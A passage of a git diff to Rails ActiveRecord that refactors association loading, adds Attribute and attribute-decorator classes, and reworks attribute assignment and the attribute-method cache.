+              scope.where_clause = reflection_scope.where_clause
             end
 
             scope.references! reflection_scope.values[:references]
-            scope.order! reflection_scope.values[:order] if scope.eager_loading?
+            scope = scope.order reflection_scope.values[:order] if scope.eager_loading?
           end
 
           scope
diff --git a/activerecord/lib/active_record/associations/singular_association.rb b/activerecord/lib/active_record/associations/singular_association.rb
index 10238555f0..c44242a0f0 100644
--- a/activerecord/lib/active_record/associations/singular_association.rb
+++ b/activerecord/lib/active_record/associations/singular_association.rb
@@ -18,11 +18,11 @@ module ActiveRecord
       end
 
       def create(attributes = {}, &block)
-        create_record(attributes, &block)
+        _create_record(attributes, &block)
       end
 
       def create!(attributes = {}, &block)
-        create_record(attributes, true, &block)
+        _create_record(attributes, true, &block)
       end
 
       def build(attributes = {})
@@ -38,11 +38,33 @@ module ActiveRecord
           scope.scope_for_create.stringify_keys.except(klass.primary_key)
         end
 
+        def get_records
+          if reflection.scope_chain.any?(&:any?) ||
+              scope.eager_loading? ||
+              klass.current_scope ||
+              klass.default_scopes.any?
+
+            return scope.limit(1).to_a
+          end
+
+          conn = klass.connection
+          sc = reflection.association_scope_cache(conn, owner) do
+            StatementCache.create(conn) { |params|
+              as = AssociationScope.create { params.bind }
+              target_scope.merge(as.scope(self, conn)).limit(1)
+            }
+          end
+
+          binds = AssociationScope.get_bind_values(owner, reflection.chain)
+          sc.execute binds, klass, klass.connection
+        end
+
         def find_target
-          scope.first.tap { |record| set_inverse_instance(record) }
+          if record = get_records.first
+            set_inverse_instance record
+          end
         end
 
-        # Implemented by subclasses
         def replace(record)
           raise NotImplementedError, "Subclasses must implement a replace(record) method"
         end
@@ -51,7 +73,7 @@ module ActiveRecord
           replace(record)
         end
 
-        def create_record(attributes, raise_error = false)
+        def _create_record(attributes, raise_error = false)
           record = build_record(attributes)
           yield(record) if block_given?
           saved = record.save
diff --git a/activerecord/lib/active_record/associations/through_association.rb b/activerecord/lib/active_record/associations/through_association.rb
index ba7d2a3782..3ce9cffdbc 100644
--- a/activerecord/lib/active_record/associations/through_association.rb
+++ b/activerecord/lib/active_record/associations/through_association.rb
@@ -3,7 +3,7 @@ module ActiveRecord
   module Associations
     module ThroughAssociation #:nodoc:
 
-      delegate :source_reflection, :through_reflection, :chain, :to => :reflection
+      delegate :source_reflection, :through_reflection, :to => :reflection
 
       protected
 
@@ -13,10 +13,16 @@ module ActiveRecord
         #   2. To get the type conditions for any STI models in the chain
         def target_scope
           scope = super
-          chain.drop(1).each do |reflection|
+          reflection.chain.drop(1).each do |reflection|
+            relation = reflection.klass.all
+
+            reflection_scope = reflection.scope
+            if reflection_scope && reflection_scope.arity.zero?
+              relation = relation.merge(reflection_scope)
+            end
+
             scope.merge!(
-              reflection.klass.all.
-                except(:select, :create_with, :includes, :preload, :joins, :eager_load)
+              relation.except(:select, :create_with, :includes, :preload, :joins, :eager_load)
             )
           end
           scope
@@ -39,12 +45,16 @@ module ActiveRecord
         def construct_join_attributes(*records)
           ensure_mutable
 
-          join_attributes = {
-            source_reflection.foreign_key =>
-              records.map { |record|
-                record.send(source_reflection.association_primary_key(reflection.klass))
-              }
-          }
+          if source_reflection.association_primary_key(reflection.klass) == reflection.klass.primary_key
+            join_attributes = { source_reflection.name => records }
+          else
+            join_attributes = {
+              source_reflection.foreign_key =>
+                records.map { |record|
+                  record.send(source_reflection.association_primary_key(reflection.klass))
+                }
+            }
+          end
 
           if options[:source_type]
             join_attributes[source_reflection.foreign_type] =
@@ -61,18 +71,17 @@ module ActiveRecord
         # Note: this does not capture all cases, for example it would be crazy to try to
         # properly support stale-checking for nested associations.
         def stale_state
-          if through_reflection.macro == :belongs_to
+          if through_reflection.belongs_to?
             owner[through_reflection.foreign_key] && owner[through_reflection.foreign_key].to_s
           end
         end
 
         def foreign_key_present?
-          through_reflection.macro == :belongs_to &&
-          !owner[through_reflection.foreign_key].nil?
+          through_reflection.belongs_to? && !owner[through_reflection.foreign_key].nil?
         end
 
         def ensure_mutable
-          if source_reflection.macro != :belongs_to
+          unless source_reflection.belongs_to?
             raise HasManyThroughCantAssociateThroughHasOneOrManyReflection.new(owner, reflection)
           end
         end
@@ -82,6 +91,17 @@ module ActiveRecord
             raise HasManyThroughNestedAssociationsAreReadonly.new(owner, reflection)
           end
         end
+
+        def build_record(attributes)
+          inverse = source_reflection.inverse_of
+          target = through_association.target
+
+          if inverse && target && !target.is_a?(Array)
+            attributes[inverse.foreign_key] = target.id
+          end
+
+          super(attributes)
+        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/attribute.rb b/activerecord/lib/active_record/attribute.rb
new file mode 100644
index 0000000000..91886f1324
--- /dev/null
+++ b/activerecord/lib/active_record/attribute.rb
@@ -0,0 +1,174 @@
+module ActiveRecord
+  class Attribute # :nodoc:
+    class << self
+      def from_database(name, value, type)
+        FromDatabase.new(name, value, type)
+      end
+
+      def from_user(name, value, type)
+        FromUser.new(name, value, type)
+      end
+
+      def with_cast_value(name, value, type)
+        WithCastValue.new(name, value, type)
+      end
+
+      def null(name)
+        Null.new(name)
+      end
+
+      def uninitialized(name, type)
+        Uninitialized.new(name, type)
+      end
+    end
+
+    attr_reader :name, :value_before_type_cast, :type
+
+    # This method should not be called directly.
+    # Use #from_database or #from_user
+    def initialize(name, value_before_type_cast, type)
+      @name = name
+      @value_before_type_cast = value_before_type_cast
+      @type = type
+    end
+
+    def value
+      # `defined?` is cheaper than `||=` when we get back falsy values
+      @value = original_value unless defined?(@value)
+      @value
+    end
+
+    def original_value
+      type_cast(value_before_type_cast)
+    end
+
+    def value_for_database
+      type.type_cast_for_database(value)
+    end
+
+    def changed_from?(old_value)
+      type.changed?(old_value, value, value_before_type_cast)
+    end
+
+    def changed_in_place_from?(old_value)
+      has_been_read? && type.changed_in_place?(old_value, value)
+    end
+
+    def with_value_from_user(value)
+      self.class.from_user(name, value, type)
+    end
+
+    def with_value_from_database(value)
+      self.class.from_database(name, value, type)
+    end
+
+    def with_cast_value(value)
+      self.class.with_cast_value(name, value, type)
+    end
+
+    def with_type(type)
+      self.class.new(name, value_before_type_cast, type)
+    end
+
+    def type_cast(*)
+      raise NotImplementedError
+    end
+
+    def initialized?
+      true
+    end
+
+    def came_from_user?
+      false
+    end
+
+    def has_been_read?
+      defined?(@value)
+    end
+
+    def ==(other)
+      self.class == other.class &&
+        name == other.name &&
+        value_before_type_cast == other.value_before_type_cast &&
+        type == other.type
+    end
+    alias eql? ==
+
+    def hash
+      [self.class, name, value_before_type_cast, type].hash
+    end
+
+    protected
+
+    def initialize_dup(other)
+      if defined?(@value) && @value.duplicable?
+        @value = @value.dup
+      end
+    end
+
+    class FromDatabase < Attribute # :nodoc:
+      def type_cast(value)
+        type.type_cast_from_database(value)
+      end
+    end
+
+    class FromUser < Attribute # :nodoc:
+      def type_cast(value)
+        type.type_cast_from_user(value)
+      end
+
+      def came_from_user?
+        true
+      end
+    end
+
+    class WithCastValue < Attribute # :nodoc:
+      def type_cast(value)
+        value
+      end
+
+      def changed_in_place_from?(old_value)
+        false
+      end
+    end
+
+    class Null < Attribute # :nodoc:
+      def initialize(name)
+        super(name, nil, Type::Value.new)
+      end
+
+      def value
+        nil
+      end
+
+      def with_type(type)
+        self.class.with_cast_value(name, nil, type)
+      end
+
+      def with_value_from_database(value)
+        raise ActiveModel::MissingAttributeError, "can't write unknown attribute `#{name}`"
+      end
+      alias_method :with_value_from_user, :with_value_from_database
+    end
+
+    class Uninitialized < Attribute # :nodoc:
+      def initialize(name, type)
+        super(name, nil, type)
+      end
+
+      def value
+        if block_given?
+          yield name
+        end
+      end
+
+      def value_for_database
+      end
+
+      def initialized?
+        false
+      end
+    end
+    private_constant :FromDatabase, :FromUser, :Null, :Uninitialized, :WithCastValue
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_assignment.rb b/activerecord/lib/active_record/attribute_assignment.rb
index 4f06955406..483d4200bd 100644
--- a/activerecord/lib/active_record/attribute_assignment.rb
+++ b/activerecord/lib/active_record/attribute_assignment.rb
@@ -3,51 +3,32 @@ require 'active_model/forbidden_attributes_protection'
 module ActiveRecord
   module AttributeAssignment
     extend ActiveSupport::Concern
-    include ActiveModel::ForbiddenAttributesProtection
+    include ActiveModel::AttributeAssignment
 
-    # Allows you to set all the attributes by passing in a hash of attributes with
-    # keys matching the attribute names (which again matches the column names).
-    #
-    # If the passed hash responds to <tt>permitted?</tt> method and the return value
-    # of this method is +false+ an <tt>ActiveModel::ForbiddenAttributesError</tt>
-    # exception is raised.
-    def assign_attributes(new_attributes)
-      return if new_attributes.blank?
+    # Alias for `assign_attributes`. See +ActiveModel::AttributeAssignment+.
+    def attributes=(attributes)
+      assign_attributes(attributes)
+    end
 
-      attributes                  = new_attributes.stringify_keys
-      multi_parameter_attributes  = []
-      nested_parameter_attributes = []
+    private
 
-      attributes = sanitize_for_mass_assignment(attributes)
+    def _assign_attributes(attributes) # :nodoc:
+      multi_parameter_attributes  = {}
+      nested_parameter_attributes = {}
 
       attributes.each do |k, v|
         if k.include?("(")
-          multi_parameter_attributes << [ k, v ]
+          multi_parameter_attributes[k] = attributes.delete(k)
         elsif v.is_a?(Hash)
-          nested_parameter_attributes << [ k, v ]
-        else
-          _assign_attribute(k, v)
+          nested_parameter_attributes[k] = attributes.delete(k)
         end
       end
+      super(attributes)
 
       assign_nested_parameter_attributes(nested_parameter_attributes) unless nested_parameter_attributes.empty?
       assign_multiparameter_attributes(multi_parameter_attributes) unless multi_parameter_attributes.empty?
     end
 
-    alias attributes= assign_attributes
-
-    private
-
-    def _assign_attribute(k, v)
-      public_send("#{k}=", v)
-    rescue NoMethodError
-      if respond_to?("#{k}=")
-        raise
-      else
-        raise UnknownAttributeError.new(self, k)
-      end
-    end
-
     # Assign any deferred nested attributes after the base attributes have been set.
     def assign_nested_parameter_attributes(pairs)
       pairs.each { |k, v| _assign_attribute(k, v) }
@@ -69,13 +50,18 @@ module ActiveRecord
       errors = []
       callstack.each do |name, values_with_empty_parameters|
         begin
-          send("#{name}=", MultiparameterAttribute.new(self, name, values_with_empty_parameters).read_value)
+          if values_with_empty_parameters.each_value.all?(&:nil?)
+            values = nil
+          else
+            values = values_with_empty_parameters
+          end
+          send("#{name}=", values)
         rescue => ex
           errors << AttributeAssignmentError.new("error on assignment #{values_with_empty_parameters.values.inspect} to #{name} (#{ex.message})", ex, name)
         end
       end
       unless errors.empty?
-        error_descriptions = errors.map { |ex| ex.message }.join(",")
+        error_descriptions = errors.map(&:message).join(",")
         raise MultiparameterAssignmentErrors.new(errors), "#{errors.size} error(s) on assignment of multiparameter attributes [#{error_descriptions}]"
       end
     end
@@ -101,101 +87,5 @@ module ActiveRecord
     def find_parameter_position(multiparameter_name)
       multiparameter_name.scan(/\(([0-9]*).*\)/).first.first.to_i
     end
-
-    class MultiparameterAttribute #:nodoc:
-      attr_reader :object, :name, :values, :column
-
-      def initialize(object, name, values)
-        @object = object
-        @name   = name
-        @values = values
-      end
-
-      def read_value
-        return if values.values.compact.empty?
-
-        @column = object.class.reflect_on_aggregation(name.to_sym) || object.column_for_attribute(name)
-        klass   = column.klass
-
-        if klass == Time
-          read_time
-        elsif klass == Date
-          read_date
-        else
-          read_other(klass)
-        end
-      end
-
-      private
-
-      def instantiate_time_object(set_values)
-        if object.class.send(:create_time_zone_conversion_attribute?, name, column)
-          Time.zone.local(*set_values)
-        else
-          Time.send(object.class.default_timezone, *set_values)
-        end
-      end
-
-      def read_time
-        # If column is a :time (and not :date or :timestamp) there is no need to validate if
-        # there are year/month/day fields
-        if column.type == :time
-          # if the column is a time set the values to their defaults as January 1, 1970, but only if they're nil
-          { 1 => 1970, 2 => 1, 3 => 1 }.each do |key,value|
-            values[key] ||= value
-          end
-        else
-          # else column is a timestamp, so if Date bits were not provided, error
-          validate_required_parameters!([1,2,3])
-
-          # If Date bits were provided but blank, then return nil
-          return if blank_date_parameter?
-        end
-
-        max_position = extract_max_param(6)
-        set_values   = values.values_at(*(1..max_position))
-        # If Time bits are not there, then default to 0
-        (3..5).each { |i| set_values[i] = set_values[i].presence || 0 }
-        instantiate_time_object(set_values)
-      end
-
-      def read_date
-        return if blank_date_parameter?
-        set_values = values.values_at(1,2,3)
-        begin
-          Date.new(*set_values)
-        rescue ArgumentError # if Date.new raises an exception on an invalid date
-          instantiate_time_object(set_values).to_date # we instantiate Time object and convert it back to a date thus using Time's logic in handling invalid dates
-        end
-      end
-
-      def read_other(klass)
-        max_position = extract_max_param
-        positions    = (1..max_position)
-        validate_required_parameters!(positions)
-
-        set_values = values.values_at(*positions)
-        klass.new(*set_values)
-      end
-
-      # Checks whether some blank date parameter exists. Note that this is different
-      # than the validate_required_parameters! method, since it just checks for blank
-      # positions instead of missing ones, and does not raise in case one blank position
-      # exists. The caller is responsible to handle the case of this returning true.
-      def blank_date_parameter?
-        (1..3).any? { |position| values[position].blank? }
-      end
-
-      # If some position is not provided, it errors out a missing parameter exception.
-      def validate_required_parameters!(positions)
-        if missing_parameter = positions.detect { |position| !values.key?(position) }
-          raise ArgumentError.new("Missing Parameter - #{name}(#{missing_parameter})")
-        end
-      end
-
-      def extract_max_param(upper_cap = 100)
-        [values.keys.max, upper_cap].min
-      end
-    end
   end
 end
diff --git a/activerecord/lib/active_record/attribute_decorators.rb b/activerecord/lib/active_record/attribute_decorators.rb
new file mode 100644
index 0000000000..7d0ae32411
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_decorators.rb
@@ -0,0 +1,67 @@
+module ActiveRecord
+  module AttributeDecorators # :nodoc:
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :attribute_type_decorations, instance_accessor: false # :internal:
+      self.attribute_type_decorations = TypeDecorator.new
+    end
+
+    module ClassMethods # :nodoc:
+      def decorate_attribute_type(column_name, decorator_name, &block)
+        matcher = ->(name, _) { name == column_name.to_s }
+        key = "_#{column_name}_#{decorator_name}"
+        decorate_matching_attribute_types(matcher, key, &block)
+      end
+
+      def decorate_matching_attribute_types(matcher, decorator_name, &block)
+        reload_schema_from_cache
+        decorator_name = decorator_name.to_s
+
+        # Create new hashes so we don't modify parent classes
+        self.attribute_type_decorations = attribute_type_decorations.merge(decorator_name => [matcher, block])
+      end
+
+      private
+
+      def load_schema!
+        super
+        attribute_types.each do |name, type|
+          decorated_type = attribute_type_decorations.apply(name, type)
+          define_attribute(name, decorated_type)
+        end
+      end
+    end
+
+    class TypeDecorator # :nodoc:
+      delegate :clear, to: :@decorations
+
+      def initialize(decorations = {})
+        @decorations = decorations
+      end
+
+      def merge(*args)
+        TypeDecorator.new(@decorations.merge(*args))
+      end
+
+      def apply(name, type)
+        decorations = decorators_for(name, type)
+        decorations.inject(type) do |new_type, block|
+          block.call(new_type)
+        end
+      end
+
+      private
+
+      def decorators_for(name, type)
+        matching(name, type).map(&:last)
+      end
+
+      def matching(name, type)
+        @decorations.values.select do |(matcher, _)|
+          matcher.call(name, type)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_methods.rb b/activerecord/lib/active_record/attribute_methods.rb
index 208da2cb77..9d58a19304 100644
--- a/activerecord/lib/active_record/attribute_methods.rb
+++ b/activerecord/lib/active_record/attribute_methods.rb
@@ -1,5 +1,7 @@
 require 'active_support/core_ext/enumerable'
+require 'active_support/core_ext/string/filters'
 require 'mutex_m'
+require 'thread_safe'
 
 module ActiveRecord
   # = Active Record Attribute Methods
@@ -17,6 +19,8 @@ module ActiveRecord
       include TimeZoneConversion
       include Dirty
       include Serialization
+
+      delegate :column_for_attribute, to: :class
     end
 
     AttrNames = Module.new {
@@ -28,31 +32,34 @@ module ActiveRecord
       end
     }
 
-    class AttributeMethodCache
-      include Mutex_m
+    BLACKLISTED_CLASS_METHODS = %w(private public protected allocate new name parent superclass)
 
+    class AttributeMethodCache
       def initialize
-        super
         @module = Module.new
-        @method_cache = {}
+        @method_cache = ThreadSafe::Cache.new
       end
 
       def [](name)
-        synchronize do
-          @method_cache.fetch(name) {
-            safe_name = name.unpack('h*').first
-            temp_method = "__temp__#{safe_name}"
-            ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
-            @module.module_eval method_body(temp_method, safe_name), __FILE__, __LINE__
-            @method_cache[name] = @module.instance_method temp_method
-          }
+        @method_cache.compute_if_absent(name) do
+          safe_name = name.unpack('h*').first
+          temp_method = "__temp__#{safe_name}"
+          ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
+          @module.module_eval method_body(temp_method, safe_name), __FILE__, __LINE__
+          @module.instance_method temp_method
         end
       end
 
       private
-      def method_body; raise NotImplementedError; end
+
+      # Override this method in the subclasses for method body.
+      def method_body(method_name, const_name)
+        raise NotImplementedError, "Subclasses must implement a method_body(method_name, const_name) method."
+      end
     end
 
+    class GeneratedAttributeMethods < Module; end # :nodoc:
+
     module ClassMethods
       def inherited(child_class) #:nodoc:
         child_class.initialize_generated_modules
@@ -60,20 +67,23 @@ module ActiveRecord
       end
 
       def initialize_generated_modules # :nodoc:
-        @generated_attribute_methods = Module.new { extend Mutex_m }
+        @generated_attribute_methods = GeneratedAttributeMethods.new { extend Mutex_m }
         @attribute_methods_generated = false
         include @generated_attribute_methods
+
+        super
       end
 
       # Generates all the attribute related methods for columns in the database
       # accessors, mutators and query methods.
       def define_attribute_methods # :nodoc:
-        # Use a mutex; we don't want two thread simultaneously trying to define
+        return false if @attribute_methods_generated
+        # Use a mutex; we don't want two threads simultaneously trying to define
         # attribute methods.
         generated_attribute_methods.synchronize do
           return false if @attribute_methods_generated
           superclass.define_attribute_methods unless self == base_class
-          super(column_names)
+          super(attribute_names)
           @attribute_methods_generated = true
         end
         true
@@ -81,7 +91,7 @@ module ActiveRecord
 
       def undefine_attribute_methods # :nodoc:
         generated_attribute_methods.synchronize do
-          super if @attribute_methods_generated
+          super if defined?(@attribute_methods_generated) && @attribute_methods_generated
           @attribute_methods_generated = false
         end
       end
@@ -102,28 +112,48 @@ module ActiveRecord
       #   # => false
       def instance_method_already_implemented?(method_name)
         if dangerous_attribute_method?(method_name)
-          raise DangerousAttributeError, "#{method_name} is defined by Active Record"
+          raise DangerousAttributeError, "#{method_name} is defined by Active Record. Check to make sure that you don't have an attribute or method with the same name."
         end
 
         if superclass == Base
           super
         else
-          # If B < A and A defines its own attribute method, then we don't want to overwrite that.
-          defined = method_defined_within?(method_name, superclass, superclass.generated_attribute_methods)
-          defined && !ActiveRecord::Base.method_defined?(method_name) || super
+          # If ThisClass < ... < SomeSuperClass < ... < Base and SomeSuperClass
+          # defines its own attribute method, then we don't want to overwrite that.
+          defined = method_defined_within?(method_name, superclass, Base) &&
+            ! superclass.instance_method(method_name).owner.is_a?(GeneratedAttributeMethods)
+          defined || super
         end
       end
 
-      # A method name is 'dangerous' if it is already defined by Active Record, but
+      # A method name is 'dangerous' if it is already (re)defined by Active Record, but
       # not by any ancestors. (So 'puts' is not dangerous but 'save' is.)
       def dangerous_attribute_method?(name) # :nodoc:
         method_defined_within?(name, Base)
       end
 
-      def method_defined_within?(name, klass, sup = klass.superclass) # :nodoc:
+      def method_defined_within?(name, klass, superklass = klass.superclass) # :nodoc:
         if klass.method_defined?(name) || klass.private_method_defined?(name)
-          if sup.method_defined?(name) || sup.private_method_defined?(name)
-            klass.instance_method(name).owner != sup.instance_method(name).owner
+          if superklass.method_defined?(name) || superklass.private_method_defined?(name)
+            klass.instance_method(name).owner != superklass.instance_method(name).owner
+          else
+            true
+          end
+        else
+          false
+        end
+      end
+
+      # A class method is 'dangerous' if it is already (re)defined by Active Record, but
+      # not by any ancestors. (So 'puts' is not dangerous but 'new' is.)
+      def dangerous_class_method?(method_name)
+        BLACKLISTED_CLASS_METHODS.include?(method_name.to_s) || class_method_defined_within?(method_name, Base)
+      end
+
+      def class_method_defined_within?(name, klass, superklass = klass.superclass) # :nodoc:
+        if klass.respond_to?(name, true)
+          if superklass.respond_to?(name, true)
+            klass.method(name).owner != superklass.method(name).owner
           else
             true
           end
@@ -155,30 +185,36 @@ module ActiveRecord
       #   # => ["id", "created_at", "updated_at", "name", "age"]
       def attribute_names
         @attribute_names ||= if !abstract_class? && table_exists?
-            column_names
+            attribute_types.keys
           else
             []
           end
       end
-    end
 
-    # If we haven't generated any methods yet, generate them, then
-    # see if we've created the method we're looking for.
-    def method_missing(method, *args, &block) # :nodoc:
-      if self.class.define_attribute_methods
-        if respond_to_without_attributes?(method)
-          send(method, *args, &block)
-        else
-          super
+      # Returns the column object for the named attribute.
+      # Returns a +ActiveRecord::ConnectionAdapters::NullColumn+ if the
+      # named attribute does not exist.
+      #
+      #   class Person < ActiveRecord::Base
+      #   end
+      #
+      #   person = Person.new
+      #   person.column_for_attribute(:name) # the result depends on the ConnectionAdapter
+      #   # => #<ActiveRecord::ConnectionAdapters::Column:0x007ff4ab083980 @name="name", @sql_type="varchar(255)", @null=true, ...>
+      #
+      #   person.column_for_attribute(:nothing)
+      #   # => #<ActiveRecord::ConnectionAdapters::NullColumn:0xXXX @name=nil, @sql_type=nil, @cast_type=#<Type::Value>, ...>
+      def column_for_attribute(name)
+        name = name.to_s
+        columns_hash.fetch(name) do
+          ConnectionAdapters::NullColumn.new(name)
         end
-      else
-        super
       end
     end
 
     # A Person object with a name attribute can ask <tt>person.respond_to?(:name)</tt>,
     # <tt>person.respond_to?(:name=)</tt>, and <tt>person.respond_to?(:name?)</tt>
-    # which will all return +true+. It also define the attribute methods if they have
+    # which will all return +true+. It also defines the attribute methods if they have
     # not been generated.
     #
     #   class Person < ActiveRecord::Base
@@ -193,18 +229,14 @@ module ActiveRecord
     #   person.respond_to('age?')   # => true
     #   person.respond_to(:nothing) # => false
     def respond_to?(name, include_private = false)
+      return false unless super
       name = name.to_s
-      self.class.define_attribute_methods
-      result = super
-
-      # If the result is false the answer is false.
-      return false unless result
 
       # If the result is true then check for the select case.
       # For queries selecting a subset of columns, return false for unselected columns.
       # We check defined?(@attributes) not to issue warnings if called on objects that
       # have been allocated but not yet initialized.
-      if defined?(@attributes) && @attributes.any? && self.class.column_names.include?(name)
+      if defined?(@attributes) && self.class.column_names.include?(name)
         return has_attribute?(name)
       end
 
@@ -221,7 +253,7 @@ module ActiveRecord
     #   person.has_attribute?('age')    # => true
     #   person.has_attribute?(:nothing) # => false
     def has_attribute?(attr_name)
-      @attributes.has_key?(attr_name.to_s)
+      @attributes.key?(attr_name.to_s)
     end
 
     # Returns an array of names for the attributes available on this object.
@@ -245,16 +277,15 @@ module ActiveRecord
     #   person.attributes
     #   # => {"id"=>3, "created_at"=>Sun, 21 Oct 2012 04:53:04, "updated_at"=>Sun, 21 Oct 2012 04:53:04, "name"=>"Francesco", "age"=>22}
     def attributes
-      attribute_names.each_with_object({}) { |name, attrs|
-        attrs[name] = read_attribute(name)
-      }
+      @attributes.to_hash
     end
 
     # Returns an <tt>#inspect</tt>-like string for the value of the
-    # attribute +attr_name+. String attributes are truncated upto 50
-    # characters, and Date and Time attributes are returned in the
-    # <tt>:db</tt> format. Other attributes return the value of
-    # <tt>#inspect</tt> without modification.
+    # attribute +attr_name+. String attributes are truncated up to 50
+    # characters, Date and Time attributes are returned in the
+    # <tt>:db</tt> format, Array attributes are truncated up to 10 values.
+    # Other attributes return the value of <tt>#inspect</tt> without
+    # modification.
     #
     #   person = Person.create!(name: 'David Heinemeier Hansson ' * 3)
     #
@@ -263,6 +294,9 @@ module ActiveRecord
     #
     #   person.attribute_for_inspect(:created_at)
     #   # => "\"2012-10-22 00:15:07\""
+    #
+    #   person.attribute_for_inspect(:tag_ids)
+    #   # => "[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, ...]"
     def attribute_for_inspect(attr_name)
       value = read_attribute(attr_name)
 
@@ -270,6 +304,9 @@ module ActiveRecord
         "#{value[0, 50]}...".inspect
       elsif value.is_a?(Date) || value.is_a?(Time)
         %("#{value.to_s(:db)}")
+      elsif value.is_a?(Array) && value.size > 10
+        inspected = value.first(10).inspect
+        %(#{inspected[0...-1]}, ...])
       else
         value.inspect
       end
@@ -283,39 +320,24 @@ module ActiveRecord
     #   class Task < ActiveRecord::Base
     #   end
     #
-    #   person = Task.new(title: '', is_done: false)
-    #   person.attribute_present?(:title)   # => false
-    #   person.attribute_present?(:is_done) # => true
-    #   person.name = 'Francesco'
-    #   person.is_done = true
-    #   person.attribute_present?(:title)   # => true
-    #   person.attribute_present?(:is_done) # => true
+    #   task = Task.new(title: '', is_done: false)
+    #   task.attribute_present?(:title)   # => false
+    #   task.attribute_present?(:is_done) # => true
+    #   task.title = 'Buy milk'
+    #   task.is_done = true
+    #   task.attribute_present?(:title)   # => true
+    #   task.attribute_present?(:is_done) # => true
     def attribute_present?(attribute)
-      value = read_attribute(attribute)
+      value = _read_attribute(attribute)
       !value.nil? && !(value.respond_to?(:empty?) && value.empty?)
     end
 
-    # Returns the column object for the named attribute. Returns +nil+ if the
-    # named attribute not exists.
-    #
-    #   class Person < ActiveRecord::Base
-    #   end
-    #
-    #   person = Person.new
-    #   person.column_for_attribute(:name) # the result depends on the ConnectionAdapter
-    #   # => #<ActiveRecord::ConnectionAdapters::SQLite3Column:0x007ff4ab083980 @name="name", @sql_type="varchar(255)", @null=true, ...>
-    #
-    #   person.column_for_attribute(:nothing)
-    #   # => nil
-    def column_for_attribute(name)
-      # FIXME: should this return a null object for columns that don't exist?
-      self.class.columns_hash[name.to_s]
-    end
-
     # Returns the value of the attribute identified by <tt>attr_name</tt> after it has been typecast (for example,
-    # "2004-12-12" in a data column is cast to a date object, like Date.new(2004, 12, 12)). It raises
+    # "2004-12-12" in a date column is cast to a date object, like Date.new(2004, 12, 12)). It raises
     # <tt>ActiveModel::MissingAttributeError</tt> if the identified attribute is missing.
     #
+    # Note: +:id+ is always present.
+    #
     # Alias for the <tt>read_attribute</tt> method.
     #
     #   class Person < ActiveRecord::Base
@@ -347,15 +369,41 @@ module ActiveRecord
       write_attribute(attr_name, value)
     end
 
-    protected
-
-    def clone_attributes(reader_method = :read_attribute, attributes = {}) # :nodoc:
-      attribute_names.each do |name|
-        attributes[name] = clone_attribute_value(reader_method, name)
-      end
-      attributes
+    # Returns the name of all database fields which have been read from this
+    # model. This can be useful in development mode to determine which fields
+    # need to be selected. For performance critical pages, selecting only the
+    # required fields can be an easy performance win (assuming you aren't using
+    # all of the fields on the model).
+    #
+    # For example:
+    #
+    # class PostsController < ActionController::Base
+    #   after_action :print_accessed_fields, only: :index
+    #
+    #   def index
+    #     @posts = Post.all
+    #   end
+    #
+    #   private
+    #
+    #   def print_accessed_fields
+    #     p @posts.first.accessed_fields
+    #   end
+    # end
+    #
+    # Which allows you to quickly change your code to:
+    #
+    # class PostsController < ActionController::Base
+    #   def index
+    #     @posts = Post.select(:id, :title, :author_id, :updated_at)
+    #   end
+    # end
+    def accessed_fields
+      @attributes.accessed
     end
 
+    protected
+
     def clone_attribute_value(reader_method, attribute_name) # :nodoc:
       value = send(reader_method, attribute_name)
       value.duplicable? ? value.clone : value
@@ -373,7 +421,7 @@ module ActiveRecord
 
     def attribute_method?(attr_name) # :nodoc:
       # We check defined? because Syck calls respond_to? before actually calling initialize.
-      defined?(@attributes) && @attributes.include?(attr_name)
+      defined?(@attributes) && @attributes.key?(attr_name)
     end
 
     private
@@ -392,16 +440,16 @@ module ActiveRecord
 
     # Filters the primary keys and readonly attributes from the attribute names.
     def attributes_for_update(attribute_names)
-      attribute_names.select do |name|
-        column_for_attribute(name) && !readonly_attribute?(name)
+      attribute_names.reject do |name|
+        readonly_attribute?(name)
       end
     end
 
     # Filters out the primary keys, from the attribute names, when the primary
     # key is to be generated (e.g. the id attribute has no value).
     def attributes_for_create(attribute_names)
-      attribute_names.select do |name|
-        column_for_attribute(name) && !(pk_attribute?(name) && id.nil?)
+      attribute_names.reject do |name|
+        pk_attribute?(name) && id.nil?
       end
     end
 
@@ -410,14 +458,11 @@ module ActiveRecord
     end
 
     def pk_attribute?(name)
-      column_for_attribute(name).primary
+      name == self.class.primary_key
     end
 
     def typecasted_attribute_value(name)
-      # FIXME: we need @attributes to be used consistently.
-      # If the values stored in @attributes were already typecasted, this code
-      # could be simplified
-      read_attribute(name)
+      _read_attribute(name)
     end
   end
 end
diff --git a/activerecord/lib/active_record/attribute_methods/before_type_cast.rb b/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
index f596a8b02e..56c1898551 100644
--- a/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
+++ b/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
@@ -28,6 +28,7 @@ module ActiveRecord
 
       included do
         attribute_method_suffix "_before_type_cast"
+        attribute_method_suffix "_came_from_user?"
       end
 
       # Returns the value of the attribute identified by +attr_name+ before
@@ -43,7 +44,7 @@ module ActiveRecord
       #   task.read_attribute_before_type_cast('completed_on') # => "2012-10-21"
       #   task.read_attribute_before_type_cast(:completed_on)  # => "2012-10-21"
       def read_attribute_before_type_cast(attr_name)
-        @attributes[attr_name.to_s]
+        @attributes[attr_name.to_s].value_before_type_cast
       end
 
       # Returns a hash of attributes before typecasting and deserialization.
@@ -57,7 +58,7 @@ module ActiveRecord
       #   task.attributes_before_type_cast
       #   # => {"id"=>nil, "title"=>nil, "is_done"=>true, "completed_on"=>"2012-10-21", "created_at"=>nil, "updated_at"=>nil}
       def attributes_before_type_cast
-        @attributes
+        @attributes.values_before_type_cast
       end
 
       private
@@ -66,6 +67,10 @@ module ActiveRecord
       def attribute_before_type_cast(attribute_name)
         read_attribute_before_type_cast(attribute_name)
       end
+
+      def attribute_came_from_user?(attribute_name)
+        @attributes[attribute_name].came_from_user?
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/attribute_methods/dirty.rb b/activerecord/lib/active_record/attribute_methods/dirty.rb
index dc2399643c..7ba907f786 100644
